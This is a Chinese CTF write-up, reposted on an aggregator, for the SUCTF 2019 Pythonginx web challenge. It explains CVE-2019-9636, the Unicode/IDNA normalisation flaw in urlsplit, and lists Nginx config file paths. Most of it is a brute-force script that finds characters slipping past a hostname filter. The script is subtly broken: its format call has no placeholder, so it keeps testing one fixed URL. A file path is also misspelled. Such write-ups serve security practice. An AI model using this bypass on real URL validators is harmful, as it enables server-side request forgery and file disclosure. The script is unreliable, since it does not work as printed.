刷题记录:[SUCTF 2019]Pythonginx

Posted 20175211lyz

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了刷题记录:[SUCTF 2019]Pythonginx相关的知识,希望对你有一定的参考价值。

刷题记录:[SUCTF 2019]Pythonginx

题目复现链接:https://buuoj.cn/challenges
参考链接:2019 SUCTF wp
SUCTF_2019_部分复现

一、涉及知识点

1、 CVE-2019-9636:urlsplit不处理NFKC标准化

https://bugs.python.org/issue36216

2、Nginx重要文件位置

  • 配置文件存放目录:/etc/nginx
  • 主配置文件:/etc/nginx/conf/nginx.conf
  • 管理脚本:/usr/lib64/systemd/system/nginx.service
  • 模块:/usr/lisb64/nginx/modules
  • 应用程序:/usr/sbin/nginx
  • 程序默认存放位置:/usr/share/nginx/html
  • 日志默认存放位置:/var/log/nginx

二、解题方法

抄个脚本

from urllib.parse import urlparse,urlunsplit,urlsplit
from urllib import parse
def get_unicode():
    for x in range(65536):
        uni=chr(x)
        url="http://suctf.c".format(uni)
        try:
            if getUrl(url):
                print("str: "+uni+' unicode: \\u'+str(hex(x))[2:])
        except:
            pass


def getUrl(url):
    url = url
    host = parse.urlparse(url).hostname
    if host == 'suctf.cc':
        return False
    parts = list(urlsplit(url))
    host = parts[1]
    if host == 'suctf.cc':
        return False
    newhost = []
    for h in host.split('.'):
        newhost.append(h.encode('idna').decode('utf-8'))
    parts[1] = '.'.join(newhost)
    finalUrl = urlunsplit(parts).split(' ')[0]
    host = parse.urlparse(finalUrl).hostname
    if host == 'suctf.cc':
        return True
    else:
        return False

if __name__=="__main__":
    get_unicode()

虽然想到可能是编码的问题,但是没动手去写脚本跑,懒狗一条。
还有wp是github上搜到的,不愧是全球最大同性交友网站,下次不能局限于百度

以上是关于刷题记录:[SUCTF 2019]Pythonginx的主要内容,如果未能解决你的问题,请参考以下文章

刷题[SUCTF 2019]CheckIn

BUUCTF MISC刷题笔记

BUUCTF MISC刷题笔记

[SUCTF 2019]Pythonginx(Idna与utf-8编码漏洞)

buuctf刷题之旅—web—EasySQL

WEB|[SUCTF 2019]Pythonginx